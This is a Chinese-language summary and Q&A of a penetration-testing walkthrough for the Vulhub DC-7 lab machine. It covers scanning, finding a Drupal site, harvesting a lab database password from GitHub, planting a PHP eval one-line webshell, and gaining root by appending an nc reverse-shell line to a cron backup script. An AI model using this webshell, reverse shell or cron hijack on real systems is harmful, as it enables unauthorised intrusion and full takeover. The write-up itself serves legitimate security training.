Vulhub 靶场 DC-7解析
内容提要
本文介绍了使用Kali进行靶机攻击的环境搭建和信息收集方法,包括探索存活主机、扫描开放端口、扫描目录和网站指纹等。然后介绍了漏洞测试的社工手段,通过搜索账户名和扫描目录等方式获取数据库账户密码。最后详细介绍了如何利用Drupal漏洞进行getshell和提权。
延伸解读
信息收集的关键步骤
文章展示了渗透测试初期信息收集的完整流程:先通过arp-scan、nmap或netdiscover发现存活主机,再扫描全端口(1-65535)识别开放服务,最后进行目录扫描和网站指纹识别。其中,使用whatweb或火狐插件识别CMS为Drupal,为后续漏洞利用奠定基础。这些步骤环环相扣,缺一不可,体现了信息收集在渗透测试中的重要性。
社工手段的巧妙运用
作者通过百度搜索账户名,发现其GitHub账户,并从配置文件中获取了数据库账户密码(dc7user/MdR3xOgB7#dW)。这种利用公开信息进行社工攻击的方式,避免了暴力破解,符合靶机提示的“跳出框框思考”。这提醒我们,在渗透测试中,信息搜索能力往往比技术工具更重要,同时也警示企业需注意敏感信息泄露。
Drupal漏洞利用与提权思路
文章详细介绍了利用Drupal后台添加PHP模块并写入一句话木马,通过中国蚁剑连接getshell。随后,发现/opt/scripts/backups.sh脚本所属组为www-data且定时执行,通过写入反弹shell命令实现提权。这种利用计划任务提权的思路,在Linux渗透中较为常见,关键在于发现可写且定时执行的文件。
Q&A
Vulhub DC-7 靶场渗透测试中,如何发现存活主机并确定靶机 IP?
可以使用三种方法探索网段内存活的主机:1. 使用 arp-scan -l;2. 使用 nmap -T4 -sP 192.168.200.0/24 -oN nmap200.sP;3. 使用 netdiscover -i eth0 -r 192.168.200.0/24。通过扫描结果中的 MAC 地址可以判断靶机 DC-7 的 IP 地址。
在 DC-7 靶场中,如何获取数据库账户密码?
通过社工手段,在百度搜索账户名 dc7user,发现其 GitHub 账户,从配置文件底部英文翻译可知找到正确位置,从而获得数据库账户密码:账户名 dc7user,密码 MdR3xOgB7#dW,数据库名 Staff。
如何利用 Drupal 漏洞在 DC-7 靶场中 getshell?
首先使用 drush 修改 Drupal 默认账户 admin 的密码,然后登录后台。由于 Drupal 8 默认不支持 PHP 代码,需要下载并安装 PHP 模块(https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz),激活后添加一句话木马 <?php @eval($POST[123]); ?>,保存为 PHP 代码。最后使用中国蚁剑连接网站即可 getshell。
DC-7 靶场中如何通过计划任务提权?
在获得 www-data 权限后,发现 /opt/scripts/backups.sh 脚本所属组为 www-data 且定时执行。将反弹 shell 代码 echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.200.14 8899 >/tmp/f" >> backups.sh 写入脚本,在 Kali 监听 8899 端口,等待计划任务执行后即可获得 root shell。
DC-7 靶场中如何通过 SSH 连接并发现有用信息?
使用获取的账户密码通过 ssh dc7user@192.168.200.10 连接靶机,在 home 目录下发现 backups 文件夹和 mbox 文件。backups 文件夹中有两个 gpg 加密文件,mbox 文件中包含脚本文件路径 /opt/scripts,进入该目录查看 backups.sh 脚本,发现数据库文件路径和网站数据路径。
DC-7 靶场中如何扫描网站目录和指纹?
扫描目录可以使用工具如 dirb 等,但未发现有价值目录,仅发现 robots.txt 文件。网站指纹识别有两种方式:1. 安装火狐插件;2. 在 Kali 中执行 whatweb -v 192.168.200.10。通过火狐插件可知网站使用的 CMS 是 Drupal。